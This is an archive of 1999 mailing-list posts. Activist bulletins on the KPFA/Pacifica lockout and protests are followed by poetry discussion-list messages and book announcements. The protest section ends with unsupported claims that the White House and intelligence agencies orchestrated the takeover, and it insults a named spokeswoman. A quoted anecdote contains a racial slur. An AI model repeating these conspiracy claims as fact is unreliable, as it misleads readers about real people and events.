THERE IS AN EMERGENCY DEMOSTRATION GOING ON AT THIS TIME...IF YOU ARE NEARBY...PLEASE COME TO 1929 MARTIN LUTHER KING JR WAY IN BERKELEY AND SUPPORT FREE SPEECH COMMUNITY RADIO...

AND FAX...phone...or e-mail Dr. Mary Frances Berry and the other members of the Pacifica national board to protest their outrageous actions!

I HAVE JUST LEARNED THAT PACIFICA IS PLANNING TO INSTALL A LINE TO THE TRANSMITTER WHICH WILL ENABLE PACIFICA TO BROADCAST KPFK LIVE FROM LOS ANGELES ON TO 94.1.

AN EMERGENCY PROTEST HAS BEEN CALLED. PEOPLE WHO CAN GET THERE ARE URGED TO GO TO BERKELEY, TAKE CLAREMONT AVE. UP BEHIND THE CLAREMONT HOTEL, UP IN THE HILLS TO GRIZZLY PEAK BLVD., AND AFTER A QUARTER OF A MILE, YOU SHOULD SEE THE ROAD LEADING TO THE TRANSMITTER AND PROTESTERS BLOCKING IT.

GET THERE!

-
This message comes via the freepacifica list. To subscribe or unsubscribe, send a single word
email to [redacted]

UPDATE: PROTESTS CONTINUE AT KPFA, PACIFICA DENIES EXPULSION OF STAFF IS A LOCKOUT

LEADING CALIFORNIA LEGISLATORS CALL FOR HEARING ABOUT PACIFICA FOUNDATION’S ACTIONS IN LOCKING OUT
STAFF,
CHANGING FORMAT OF KPFA, MISUSE OF FUNDS

BENEFIT CONCERT SCHEDULED FOR BERKELEY COMMUNITY THEATER MONDAY 7/19 FEATURING JOAN BAEZ, DAR WILLIAMS AND OTHERS

(With apologies for missing a day of updates...our computer was down and we are all overextended in fighting this dreadful takeover...)

l. Protests continued tonight (Thursday) outside the now padlocked and plywood-panelled facade of KPFA and Pacifica. Pacifica executive director Lynn Chadwick and her staff have apparently moved out of their offices, possibly to downtown Oakland (a demonstration will be held there as soon as their new address is verified).

More than sixty riot-equipped police were present as the rally began shortly after 5 p.m. By 6 p.m., the crowd had reached at least 500 people (there were

over 2,000 the night before, but there was less time to organize tonight's...). Several protestors tried to enter KPFA via a ladder to a second floor balcony, but Berkeley police pulled them roughly inside. Nine were arrested, bringing the total to 77 arrests in protests thus far.

A number of protestors said they would set up camp for the weekend.

A hip-hop community rally in support of KPFA staff is set for 5 p.m. Friday in front of the station.

Pacifica states that the lockout is not a lockout, but paid leave for everyone at KPFA.

Meanwhile pre-recorded tapes continue to be played by scab engineers. After failing to find anyone local to take engineering control, Pacifica imported another KPFT employee, chief engineer Bob Cham, to aid KPFT station manager Garland Ganter and Pacifica Program Service worker Mark Torres from Los Angeles in broadcasting speeches and music.

2. Sixteen California legislators, led by Senate pro tem President John Burton and Assembly Speaker Antonio Villaraigosa today released a letter requesting a hearing by the Joint Legislative audit committee into Pacifica's actions in this crisis.

Noting that Pacifica is "incorporated as a public service tax exempt corporation in California," the letter expresses concern that Pacifica "may violate its charter and tax exempt status" by disenfranchising local advisory boards and using fund for purposes inconsistent with its charter."

In addition the letter cites the "lock-out of station workers" in violation of Pacifica's contract with Communication Workers of America.

"When there are reasons to suspect that Pacifica is acting unethically or illegally, we believe a hearing is warranted," the letter concludes.

3. A benefit concert for locked out and fired KPFA workers will be held Monday, July 19 at the Berkeley Community Theater, featuring Joan Baez and Dar Williams. Ticket information follows tomorrow...BUT PLEASE PLAN TO BE THERE!

4. ARE YOU A UNIVERSITY OR COLLEGE TEACHER?

If so, you might want to send a letter similar to one sent by University of California teacher Gray Brechin to Mary Frances Berry's academic superior at the University of Pennsylvania. (see http://savepacifica.net/0716_brechin.html)

————————————-

http://savepacifica.net

to unsubscribe to this list, reply to this letter with “unsubcribe” in the subject line.

From: “Lyn Gerry” <[redacted]>
To: “Free Pacifica” <[redacted]>, “Free Pacifica” <[redacted]>,
“Free Pacifica” <[redacted]>
Date: Tue, 13 Jul 1999 15:47:18 -0700
Subject: Urgent Press release: EMAIL RECEIVED DETAILING POSSIBLE
Reply-to: [redacted]
Priority: normal

———- Forwarded Message Follows ———-
Subject: Michael Palmer email press release READ
Date sent: Tue, 13 Jul 99 12:25:04 -0800
From: Andrea Buffa <[redacted]>

NEWS

FOR IMMEDIATE RELEASE:
July 13, 1999
CONTACT:Belinda Griswold [redacted] x313

CONTROVERSIAL EMAIL RECEIVED DETAILING POSSIBLE CLOSURE OF KPFA AS LAWSUIT IS FILED TO FORCE ACCOUNTABILITY COMMUNITY LEADERS DECRY CRACKDOWN

BERKELEY, CA - At a press conference at 1:30 p.m. today, Media Alliance Executive Director Andrea Buffa will release a controversial email she received yesterday that describes plans by Pacifica Radio to close KPFA and possibly sell another Pacifica station, WBAI in New York. The email appears to have come from Pacifica board of directors member Michael Palmer.

“We are working to confirm the authenticity of this email and call on Michael Palmer and Pacifica Board Chair Dr. Mary Frances Berry to immediately publicly confirm or refute this email,” Buffa said.

Phone calls by Media Alliance and several Pacifica board members to Palmer have not been returned. Local Internet service provider IGC was contacted about verifying the path by which the email was sent to Media Alliance. IGC’s tech services department has stated that the email looks to have legitimately been sent from Palmer’s account. The full text of the email is available at www.zmag.org or www.counterpunch.org.

The press conference takes place immediately preceding a hearing at Berkeley Municipal Court at which charges will be filed against a group of peaceful protesters who blocked the entry to Pacifica Foundation’s office in Berkeley

last month. The demonstrators prevented Pacifica Foundation Executive Director Lynn Chadwick from entering her office on June 22. Chadwick initiated a citizen's arrest when Berkeley police refused to cite the activists. Local community leaders decried the decision, calling it a terrible contradiction.

Meanwhile, a group of local stations' advisory board members from Los Angeles, Berkeley and New York is pressing ahead with a lawsuit intended to reverse Pacifica's recent governance changes that eliminated local say on the national board. Oakland attorney Dan Siegel will file suit within the next few days to restore the last shred of local control at Pacifica: the ability of local station boards to recommend members to the national board. Seigel will also attend the press conference. "Pacifica, when faced with the question of changing its method of choosing its leadership, opted for the least democratic option imaginable. It is time to revisit this issue, and it should be unnecesssary to require a court order to do so," Siegel said.

Yesterday, Pacifica national board chair Dr. Mary Frances Berry arrived in Oakland, told neither staff nor listeners of her visit, and attempted to negotiate with KPFA's union leaders. Shop stewards met with Berry to remind her of her promise to meet with the KPFA steering committee, which both listeners and staff have designated as their representative, and refused to negotiate further.

KPFA paid staff, volunteers, local advisory board members, subscribers, and listeners will continue to press Pacifica to: 1) Rehire respected KPFA station manager Nicole Sawaya, whose termination touched off massive protests in Berkeley and the firing of two veteran programmers because they violated Pacifica's on-air "gag rule"; 2) Participate in mediation and allow for investigation of the dispute between local interests and the national bureaucracy; and 3) Reverse the disciplinary or adverse actions taken against KPFA and Pacifica staff since Sawaya's termination.

* * * scandalous & frightening email from Palmer is as follows (Pacifica spokeswoman Jackass Fabri [total fascist & issuer of fraudulent press releases, varified in print authenticity of email, accidentally [!] forwarded to Andrea Buffa of SF's Media Alliance]):

From: Palmer, Micheal @ Houston Galleria, [redacted] To: 'Mary Francis Berry', [redacted]

Hello Dr. Berry,

I salute your fortitude in scheduling a news conference opportunity in the beloved Bay Area regarding one of the most pressing issues of our time.....

But seriously, I was under the impression there was support in the proper quarters, and a definite majority, for shutting down that unit and re-

programming immediately. Has that changed? Is there consensus among the national staff that anything other than that is acceptable/bearable? I recall Cheryl saying that the national staff wanted to know with certitude that they supported 100% by the Board in whatever direction was taken; what direction is being taken?

As an update for you and Lynn I spoke with the only radio broker I know last week and his research shows $750,000-$1.25m for KPFB. There would be a very “shallow pool” of buyers for a repeater signal such as this and it would be difficult to do a marketing effort quietly due to the shortage of buyers. So there is no profound latent value to that asset. The primary signal would lend itself to a quiet marketing scenario of discreet presentation to logical and qualified buyers. This is the best radio market in history and while public companies may see a dilutive effect from a sale (due to the approximate 12 month repositioning effort needed), they would still be aggressive for such a signal. Private media companies would be the most aggressive in terms of price, which he thinks could be in the $65-75m range depending on various aspects of a deal. It would be possible to acquire other signals in the area, possibly more than one, to re-establish operations, but it could take a few years to complete if we want to maximize proceeds from the initial license transfer, or leave only $10-20m in arbitrage gain when purchase(s) is complete. None of this reflects tax consequences. This broker, just like any other that would undertake such an effort, would need certain agreements in place prior to starting.

Mary I think any such transfer we would ever consider requires significant analysis, not so much regarding a decision to go forward, but how to best undertake the effort and to deploy the resulting capital with the least amount of tax, legal and social disruption. I believe the Finance Committee will undertake a close review of the Audigraphics data provided recently to determine what it is costing us per listener, per subscriber, per market, per hour of programming...in order give the Executive Director and the General Managers benchmarks for improvement. Even with that data my feeling is that a more beneficial disposition would be of the New York signal as there is a smaller subscriber base without the long and emotional history as the Bay Area, far more associated value, a similarly dysfunctional staff though far less effective and an overall better opportunity to redefine Pacifica going forward. It is simply the more strategic asset.

With this in mind I would encourage frank description of the realities of the media enviornment we operate in and of Pacifica’s available resources to participate and have impact in the evolving media world. The Executive Committee, at a minimum, should have access to experts (whether from Wall Street, NPR/CPB, Microsoft or otherwise) to get a strong reality check (me included) about radio and Pacifica’s position in it so that informed decisions can

be made. My feeling is that we are experiencing a slow financial death which is having the normal emotional outbursts commensurate with such a disease. We will continually experience similar events, in fact we have been experiencing similar events over the past several years, primarily because we are not self supporting through subscriber contributions and have a self imposed constraint on asset redeployment that leaves us cash starved at a time when our industry is being propelled in new directions, each requiring capital outlays of consequence. We're boxed in at our own will. This board needs to be educated, quickly, and to take action that will be far more controversial that the KPFA situation. How can we get there?

So, now I've exhaled more than I should, but you know where I'm at. Let's do something.

MDP

Pacifica has now been sued in California court, and is accused of constituting its board illegally (insert link to lawsuit text) as well as fiscal irresponsibility. THIS MAY WELL LEAD TO BOARD MEMBERS BEING SUMMONED TO TESTIFY...AND TO BE HELD ACCOUNTABLE FOR MOVING THE ORGANIZATION TOWAD BANKRUPTCY. Do board members understand their personal liability now?

A legislative hearing has been called for in Sacramento into the situation. AGAIN, INDIVIDUAL BOARD MEMBERS MAY BE CALLED TO TESTIFY, AND PROVIDE FINANCIAL RECORDS. Are board members ready for this?

Another lawsuit may be in the works concerning the lockout of workers. DO BOARD MEMBERS UNDERSTAND THEIR LIABILITY HERE? Pacifica is spending tens of thousands of dollars on armed security guards (at least six) 24 hours a day at the station and at the transmitter. In addition, Pacifica is spending huge amounts of money on legal fees, extra employees brought in especially for this takeover, outside consultants and offices. DO BOARD MEMBERS HAVE AN UNDERSTANDING OF THESE EXPENDITURES? WHERE IS THE MONEY COMING FROM? HOW CLOSE IS PACIFICA TO BANKRUPTCY?

Pacifica constantly says it wants arbitration. The staff and community have stated REPEATEDLY for three and a half months that we're willing to arbitrate. But then Pacifica casts the conflict as a "labor management dispute." THIS IS NOT A LABOR MANAGEMENT DISPUTE! IT'S A CRISIS INVOLVING PAID AND UNPAID WORKERS, THE COMMUNITY, AND KPFA'S LOCAL MANAGEMENT AS WELL. A steering committee of 11 representatives from all

these constituencies has been waiting for NEARLY THREE WEEKS TO TALK TO PACIFICA. No response.

Dr. Mary Frances Berry refused to meet with that steering committee when here for a few hours last week. She has refused to meet with other groups which have beseeched her for months (including major donors and African-American programmers). She has told board members she will not discuss with them either the lockout or the infamous “sell the stations” memo from Michael Palmer. HOW LONG ARE BOARD MEMBERS GOING TO TOLERATE A BOARD CHAIR THAT IS LEADING THE ORGANIZATION TO INFAMY AND RUIN?

2. Pacifica affiliate stations have communicated their outrage and solidarity with the KPFA staff and community, including stations in Portland, Oregon, Bridgeport, Connecticut, Troy, N.Y.,Tampa, Boulder, Madison, Garberville, California and Philo, California. Many have broadcast live interviews with KPFA representatives. IF YOU LIVE IN AN AREA WHERE THERE IS A COMMUNITY STATION... CALL THEM AND HAVE THEM WRITE TO US!

3. Day long rallies continue today (Sunday) in front of KPFA/Pacifica, with songs, speeches, street theater and more! A camp-out has grown to over sixty people, with tents stretching the entire city block. COME BY AND SAY HELLO if you’re in the region!

And don’t forget to spread the word about our BIG BENEFIT CONCERT MONDAY NIGHT 7/19 AT THE BERKELEY COMMUNITY THEATER AT 7:30 featuring Joan Baez, Dar Williams, Utah Phillips, Dr. Loco and others! No advance tickets (no time!) just be there - ticket sales start at 4 p.m. ($20). WE DON’T HAVE KPFA (DUH) TO PUBLICIZE THIS CONCERT...WE NEED TO GET THE WORD OUT!!!!

Various parties have decried the fact that those leading the actions against Pacifica are “Ex-Hippie Berkeleyites, 50 years old +” . But as a 30 year old -, I think that the children aren’t a part because they’re drugged & comfy, as are most Americans.

A Lawsuit Challenging the Hostile Takeover By Pacifica Board of Directors was Filed: July 16, 1999 in Alameda County Superior Court

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BULLETIN: POLICE ACT AGAINST NON-VIOLENT KPFA PROTESTORS AGAIN ARREST TOTAL NOW AT 88

The following message was sent early this morning.

You can protest this lack of coverage by calling Bay City News in San Francisco - a wire service that serves most local newspapers and radio and TV outlets - [redacted].

Also, the Pacifica Network News has expressed great reluctance to cover this story. CALL THE PACIFICA NETWORK NEWS TODAY AND DEMAND THAT THEY COVER THE DESTRUCTION OF THEIR OWN NETWORK... EVERY DAY! [redacted] ext. 323 or 316 or 318.

And visit the KPFA site every day if you can...to encourage those of us that aren't arrested for being there!

See you TONIGHT at the Berkeley Community theater!

john vance, Coordinator
A First Amendment Center
Berkeley, Ca
www.angelfire.com/biz2/thefirstamendment
[redacted] (HOTLINE for KPFA events and contact numbers)

********** Corporate Media

Sleeping with Corporate Pacifica Board?

To their credit, seems the corporate media is sleeping right along with the Pacifica Board of Directors, or so it appeared at about 3:15am this early Monday morning, July the nineteenth. I rode frantically back and forth and up and down University Avenue and MLK in Berkeley trying to observe the police and the protesters in front of KPFA and using a phone about five times trying to get the Bay City News Service to contact some body - anybody - just one media person to tell them that about twenty five Berkeley police officers had arrived at the KPFA studios and were strapping on their riot gear in preparation of clearing the street in front of the radio station by arresting protesters. Of course it was futile as the individual at Bay City News Service kept insisting that no one seemed to be available for a very crucial newsworthy event, not to mention the need of media witness to possible police brutality - which fortunately did not materialize.

It was about five minutes to three am this Monday morning and I was walking with another protester in the streets in front of the Peoples KPFA building on MLK Way in Berkeley and we were chatting about some strategy or policy regarding the present KPFA-Pacifica crisis. All at once, I looked up and down toward University Avenue. There, briskly cruising in without lights or sirens, were about six Berkeley police cars followed by two large, black mariahs (paddy wagons). At that time, there were about twenty or more dome and other style tents set up against the KPFA building on the sidewalk and probably another twenty or so tents scattered in the street. Most people were sleeping. There

were probably about a dozen protesters awake and casually walking around talking. The area had been relativly quiet since I had arrived. I got there about 1:30am. There were probably a total of maybe a hundred and twenty-five people at the KPFA protest at this time. Anyway, so I have my bicycle and I move at a fast walk in a northerly direction toward the street and duck around the corner, jump on my bike and I am out of there. Before I left the scene, the people that were awake and acting as security began hollering to wake people up and to let them know that the police were moving in possibly to arrest everyone. I rode my bike as fast I could - and a few blocks away on University Avenue - I spotted a couple of pay phones. I jumped off my bike and called Bay City News about three times trying to get someone from any media on the scene - not only to just get a story - but to act as witnesses to any arrests or police abuse - as I mentioned earlier. Anyway, after about my fourth attempt at trying to get the Bay City News Service and the San Francisco Chronicle to pay attention and have someone show up at the KPFA station on MLK, I finally gave up and went back to cautiously approach the potential arrest site at the KPFA building. The police had gotten most people to clear the street (one entire block had been barricaded in by the police) within the barricaded area and about eleven people decided to be arrested. The eleven people sat down right in the middle of the street and were arrested one by one. The protesters had two video cameras that filmed the entire police action that took place including all of the arrests. The arrests began at about 3:15am and were completed by 3:45am. While the arrests were going on, the hundred and twenty-five or so protesters stood on the sidewalk directly in front of the KPFA studios and chanted support slogans for the arrestees and anti-corporate - anti-Pacifica slogans at the Berkeley corporate police. By 3:50am, thepolice ordered everyone to stay out of the street as a streetsweeper was going to “clean” the entire one block area that the protesters had occupied.

As a closing piece of information: the tracings of KPFA associates show that intercessions by the White House and Justice Dept have been made in Pacifica as early as 1991, and most fervently and recently as 1999 by the latter, particularly in wake of Democracy Now’s programs on Chevron in Nigeria and KPFA’s reporting on impeachment and investigative reporting on Maxxam and Henry Hyde, most notably, last month, on The Ecologist v Monsanto, and on and on.

Nobody needs explaining how influential phone calls to influential politicians are quickly heeded. (Chevron has been ongoingly outraged by Pacifica’s coverage, and went so far [on a local level] as to physically remove KPFA news reporter Wendell Harper from the Chevron board meeting this year):

"So an 'It must be stopped' from Corporate America and conservative star chambers could easily have engendered a move by liberal government and its intelligence battalions to engineer a discreet way to erode, in short time, Pacifica's (and the US's, cf Gary Webb and the two CNN reporters who were nearly permitted to air [before they were fired at the insistence of the DOD] the story on Sarin gas and the US Military's mass assass. of 'chicken soldiers' who'd escaped Vietnam combat and were hiding in Laos) most left news reporters and reports. I think the utilization of Mary Berry and 'race/lack of diversity at KPFA' front is clearly, for a politician like Clinton, the craftiest first means." _____ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com

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298. **Joan Houlihan**

Re: Pound and the Bollingen Prize

Thu 22 Jul 1999

Well, not exactly. I agree that:

The work is not the man.
The prize is not the man.
Therefore, the man is neither the prize nor the work.

However:
The prize is the both work and the man.
There has to be work to be a prize; and, by implication, there has to be a man (or woman) to be work. The ratio of man to prize increases in relation to how "political" the selection criteria are.

In general, I feel that ethical considerations of the writer's life should be entirely separate from considerations of the work--not that ethical concerns shouldn't be considered, discussed, dissected, etc., just that they shouldn't be seen as germane to the work. At all. A close-up of anyone's life reveals multiple layers, "selves" and contradictions--the study of personality is an interesting one. However, in the case of a writer, their biography is merely another footnote, and maybe a totally misleading footnote at that. A critique of the work, on the other hand, is much closer to the writer's "self."

> *The work is not the man, neither is the prize the work. The prize, as i think you are saying, is a political gesture apart from the work.*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

>

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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299. **Joan Houlihan**
Re: PS on Williams
Thu 22 Jul 1999

RE: I am suggesting
>that to understand is not necessarily to forgive.

I agree with this, and in the case you posit below, it holds true, but sometimes it's very difficult to separate these two things, don't you think? In fact, implied in "I understand" is a forgiveness of sorts. There are many things that can never really be "understood," not least of them the holocaust. In order to understand a hateful behavior we have to go into internals--motivation, intention, etc.--and if we can't match these with anything in our own self-understanding, there's little chance of "understanding" the other.

I still think the drive to "understand" WCW by means of biographical revisionism is, in fact, in order to forgive him, so that our enjoyment of his work can be undiminshed by his anti-semitism. I just don't think it's necessary to accomplish this, to forgive him, in order to appreciate his work.

Or, maybe it's just a hero-worship thing--a need to "clear the name" of a beloved icon.

> *From: Mark Weiss <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: PS on Williams*
> *Date: Mon, 19 Jul 1999 17:07:30 -0700*
>
> *It's good to be reminded from time to time why I don't mind having been such a bad graduate student.*
> *I don't think I ever suggested that complex thinking about anything is ever out of order, nor that Williams was uniformly a bad man. I am suggesting that to understand is not necessarily to forgive. Perhaps especially if one is a member of the victimized group.*
> *Here, by way of illustration, is a story I heard from a friend not five minutes ago. His ex-wife, with whom he has a passably friendly relationship, had their two young children last night. He gets home late to an hysterical message on his machine: the kids had awakened in the middle of the night to find themselves alone. This morning he discovers that the x had gone out to a bar because she needed some adult company. It's a hard*

time for her--she just broke up with her guy, and her father, to whom she was very close, just died of cancer. She's usually not that irresponsible. Easy to understand her situation as complexly as one likes, not so easy to forgive.
And I did all that without reference to a single philosopher.

At 02:16 PM 7/16/99 -0400, you wrote:
According to Mark Weiss:

When I was a little kid we used to vacation at a cheap resort in the Poconos, which were a lot more remote before the construction of I-80 than
it is now. I became close friends with the owner's son who had a black German Shepherd names Nigger. I don't think he'd ever met a Black person,
but I don't doubt for a minute that he and his family were racists. But maybe when he called his dog he was feigning a persona.

Mark, I understand where this is coming from vis a vis the Williams discussion, but it also seems worthwhile to point out that you've framed the issue in a classic and, to me, ultimately limiting way. Essentially, you're replaying a critique levied by Lukacs against existentialism - specifically Kierkegaard and Heidegger. Lukacs says that their refusal to
acknowledge the unity of the Self (eg, K's view of the individual as "incognito") was just bullshit:

They "embraced this doctrine of the eternal incognito which implies that a
man's external deeds are no guide to his motives. In this case [Heidegger's], the deeds obscured behind the mysterious incognito were, needless to say, these intellectuals' participation in Nazism...But if this impenetrable incognito were the true 'condition humaine,' might not -
concealed within their incognito - Heidegger or Schmitt have been secret opponents of Hitler all the time, only supporting him in the world of appearances?"

Now, what Lukacs says here really strikes a cord. I won't get into the whole issue of Heidegger and Nazism. What I will say is that Lukacs' logic - though I sympathize deeply with his dilemma - is flawed. It presupposes that the only critique of the Unity of the Self falls along the lines of this existential concept. Lukacs, it seems to me, comes out of the humanist aspect of Marx and Marxism: the self is ethical and whole:
if not, than it is damaged and unethical (evil). In the world of continental philosophy of the 30's Heidegger and Lukacs may have seemed

> *like the operative poles (though the Franfurt folks & I think*
> *particularly Benjamin offer an alternative) - but as regards Williams,*
> *there's John Dewey, there's Kenneth Burke, offering very important*
> *alternatives to a Lukacsian perspective on the self which stays well away*
> *from this issue of the Incognito. Dewey: "individuality itself is*
> *originally a potentiality and is realized only in interaction with*
> *surrounding conditions." This statement didn't *deter* Dewey from*
> *critiquing the unity of the self - it was in fact the *predicate* by*
> *which*
> *he understood the self as a multifarious, multimotivated construction;*
> *and*
> *through which he recognized that deciphering the motives behind*
> *individual actions (including speech acts) required the same sort of time*
> *and heightened attention and open-mindedness that an anthropologist (a*
> *good one) brings to the activities of whole communities. So, just to*
> *say,*
> *that when I ask for complex thinking on this WCW/anti-semitism it is from*
> *this latter, pragmatic perspective, though not without knowledge of*
> *Lukacsian exasperation.*
>
> *-m.*

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and Do More On The Web. Visit http://www.msn.com

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300. **charssmith**

Arcturus Editions: Pat Reed

Thu 22 Jul 1999

Arcturus Editions is proud to announce the publication of:

Pat Reed: CONTAINER OF STARS

artwork by Marianne Kolb
ISBN 0-9661505-2-X
$10.00, 4 7/8 x 7 1/2, 28 pp., printed letterpress using handset type on Mohawk Superfine, with Thai Unryu endpapers sewn in Fabriano Tiziano covers
$20.00 signed edition, lettered A-Z
Publication Date: August 1, 1999

Culled camping in the Sierra Nevada, her perception pared to precise sound, the syllables of Pat Reed's poems spill effortlessly down page, a stream that "opens the blackness."

Pat Reed was born in Los Angeles and has lived in the Bay Area for the past twenty years. She is the author of six books of poetry: _Sea Asleep_ (Coincidence Press, 1983), _More Awesome_ (One Dog Garage, 1985), _Qualm Lore_ (One Dog Garage, 1987), _Kismet_ (O Books, 1990), _Tangle Blue_ (1993), _Dawn Walking Shoes_ (1996), and a prose memoir of teaching refugees in East Oakland, _We Want to See Your Tears Falling Down_ (literatura de cordel, 1996). She currently teaches at Hayward State University.

Swiss artist Marianne Kolb has lived in the Bay Area since 1983. She has exhibited in the U.S. and in Europe since 1991 and is currently represented by Hang Gallery in San Francisco. Primarily a painter and printmaker, she often changes medium and scale in her work, and at times will drop all other tools to draw with stick & ink. Two ink stick drawings were created for _Container of Stars_.

"From the author of the deft sprawl of _Kismet_ comes a 'poking / through the / black grid,' a mellow rounded ear of absence, then 'fish whump' or 'Giants shift'-- a causal puzzle of clustered stanzas abutting the natural world. Enjambment quickens and slows the eye-word 'VERY STILL' -- can't escape -- the locale-specific, transportative function of this beautiful clear work."

--Steven Farmer

"Absolute (f)act of attention to word enactments of events in world; what happens when one stops to see and/or hear 'it' taking place in the 'out there' that is also an interior experience of being inside solitude of exterior land(e)scape; feeling registered as the sounds of syllables in the air/ear ('I sit still / in my tent / by the river // filling my ear / with cold going') -- Pat Reed's _Container of Stars_ bears (re)reading, again and again."

--Stephen Ratcliffe

Also available:

Gustaf Sobin, _A WORLD OF LETTERS
_ISBN 0-9661505-1-1, 16 page letterpress chapbook, $8.00

Julia Connor, _Chrysanthemum_ (forthcoming)
Kenneth Irby, _Ingressions & Exolutions_ (forthcoming)

Arcturus Chaplet Series: (printed letterpress on a single sheet of paper & sewn in covers):

#1, Patrick Pritchett, _Ark Dive_ (an elegy for Ronald Johnson), $4.00
#2, Kenneth Irby, _[syzygos]_, $5.00
#3, Elizabeth Robinson, _Lodger_ (forthcoming)
#4, Laura Moriarty, _Ololon_ (forthcoming)

Available from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710; [redacted]; http://www.spdbooks.org; e-mail: [redacted]

or from the press, checks payable to: Charles Smith
$1.50 shipping & postage, $.0.50 per additional items
CA residents, please add 7.25% sales tax

Arcturus Editions
2135 Irvin Way
Sacramento, CA 95822
[redacted]

********** Apologies to all who receive this message more than once. Please let me know if you don't wish to receive any further announcements from Arcturus Editions.
****

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301. Susan Wheeler
1999 Books
Thu 22 Jul 1999

For several reasons, I've a question for y'all: what are the best books of poetry (collections, summations, book-lengths, etc.) published in 1999 you've come upon?

Susan

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302. Tenney Nathanson
contact info for Robin Blaser, Harryette Mullen
Fri 23 Jul 1999

---

would like to get in touch w Robin Blaser, and Harryette Mullen, ASAP re POG business (poetry reading series, etc). Does anyone have good contact info (phone? ACTIVE email? snailmail?) for either or both?

pls backchannel.

thanks

Tenney (Nathanson)

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso

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303. **pete spence**
Re: the ELBURG BOOK
Fri 23 Jul 1999

>also in January of this year i published Cornelis Vleeskens' translation of
>Jan G Elburg's THROUGH THE EYE OF THE SCISSORS
>the back cover reads:
>jan g elburg's scissors
>produced this text sometime
>in the 60's 7 it was published
>in the 2nd ed of PRAATJES KIJKEN
>by Meulenhoff in 1974
>Cornelis Vleeskens did
>this translation in 1990
>7 Raimondo Cortese set it
>set it for pete spence at the time
>we've played with it over the years
>and it is now finally printed in 1999.
>Eburg was involved with the COBRA
movement.
>published by LOOK!! POETRY!!
>
>TYPOGRAPHIC POETRY.
>$5 US cash thanks.
>THANKS pete spence
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com

_____
Get Your Private, Free Email at http://www.hotmail.com

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304. **Stephen Cope**
Beyond the Page
Fri 23 Jul 1999

> *BEYOND THE PAGE continues its monthly series of literary and arts events with the following reading/performance:*
>
> *What: Carlos Blackburn and Bruce Whiteman read from their work.*
>
> *Where: Faultline Theater, 3152 5th Avenue (at Spruce), San Diego.*

When: Sunday, July 25, 1999. 4PM.

Etc: $3-5 donation requested. Beer, wine, and refreshments available.

****

** From Brooklyn, CARLOS BLACKBURN left and left again to find life elsewhere and consistently found it. While in pursuit of a decent education from the world, managed to write some stuff here and there. Variously known as friend, lover,employee, brother, buffon, son, extrovert, introvert. Been out of work, up to date, right on time, in too deep and down and out. Loves subways, oceans, bikes.*

** Born near Toronto, BRUCE WHITEMAN has been in the United States since 1996, and is currently Head Librarian of UCLA's William Andrews Clark Memorial Library. Author of over a dozen books of poetry - including two installments of the serial work _The Invisible World is in Decline_ (Coach House Press) - Whiteman is also a translator. bibliographer, and critic. His scholarly work includes an annotated bibliography of Leonard Cohen and a translation of François Chorron's _After 10,000 Years, Desire: Selected Recent Poems_. The third installment of _The Invisible World is in Decline_ is forthcoming next year from Toronto's ECW Press.*

****

BTP is proud to continue its monthly series of arts-related events with this reading/performance. BTP is an independent literary and arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], (619) [redacted]; e-mail: [redacted], [redacted].

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305. **Jeffrey Jullich**

$3.50: Summer vacation in Scandinavia!

Fri 23 Jul 1999

I think I've discovered where poetry might be, had there never been a "Wasteland" to set us back 30 years! With the recent interest in international poetry demonstrated by such publications as Boundary2, readers should grab up the chance to check out the oddities transpiring in ~Scandinavia,~ in the latest issue of Samizdat (no. 3). With English translations of 10 little-seen poets from Sweden, Denmark, and Finland, it's an opportunity to glimpse a sturdier branch of our same family tree, effortlessly twentieth century, in a lineage spared the antagonistic influences of American confessionalism with its counter-reactions. The surprise of it is a kind of unselfconscious modernism which escapes the sometimes deforming pressures of obligatory experimentation. Even Nordic Europe's "conservative" strains seem to derive from an unfamiliar lyric tradition (unfamiliar to American readers) which remains startingly without recourse to our lyricism's "I"/"you" axis. What informed English or Romance poetry these poets do explicitly evoke (Lawrence Durrell, Valery, and Char in Gungerd Wikholm;"My Interview with I.A. Richards", Perry Miller, and an Auden epigraph in Anglophone Goran Printz-Pahlson) may sometimes seem quaint, but its spottiness and lacunae have spared them the weight of the Bloomsian patrilineage we suffer, all for the better. All the same, it's interesting to find Eliot that far north: "But think also of . . . the lonely typists in their immaculate rooms / with a small fridge and biscuits on the mantelpiece" ("My Interview"). (That quote may be unrepresentative, though, as even the same author could coin such fine peculiarities as "intestines of the heuristic house" [!].) Overall, they have no compunctions about blithely changing direction mid-stream in their poems, yet without that petrifying into an imprisoning literary trope like formal "disjunction." A flourish of Pop can turn up, as in Printz-Pahlson's "The Enormous Comics," which flaunts as much Superman and Katzenjammer Kids as a Kenneth Koch poem, except here Superman is a ~transvestite.~ Curiously, Scandinavian modernism also seems to have grown up without the facile vernacular imitators took from Williams Carlos Williams, and the pleasant formality that results meets the L=A=N=G=U=A=G=E '90's halfway, insofar as they too, if pushed to it, may "hate speech." For instance, such linguistic materialities as: "And the language will arrive at last / We do not know what's first", "The vortex of our language / in the greater vortex; through its eye---" (Goran Sonnevi), "Stuck in his back pocket, a book with gleaming covers / . . . start at what page?" (Jesper Svenbro). There's a good share of nature imagery, --- a relief, in this July weather --- but there's a lot of wilderness up there, and, while perhaps a trace of Symbolisme adds a cool mystery to such "yellow leaves

of the birches, the red leaves of the rowans", it's equally realist in its occasional specificities: "drop by drop / down the whitewashed wall and the bulging gauze-wrapped sewer pipe / to come out first as rust" (Soren Ulrik Thomsen). Here's how far from transparency it can go: "gridiron reverberations / in the hills, sourmash / blandishments . . . As the ~gavroche~ innocence of a barnyard rape: // He offers a smile, mild / as pick-axe handles a / mile wide which kindles/ the hide of rutabegas" (Printz-Pahlson again, whose English language originals, translated into Swedish, have "on occasion" been translated back into English, according to the editor's introduction). I lived in Sweden when I was a teenager, so I can swear to you: those "sourmash / blandishments" keep coming and coming. (Followers of this EPC discussion list will also be glad to hear from our own Masha Zavialova, lone list-er throughout continental Russia, in her "Word from Russia": she reports on their first prize for independent writing, the covetted Andrei Belyi Prize for literature, where the award is a bottle of vodka and one ruble.)

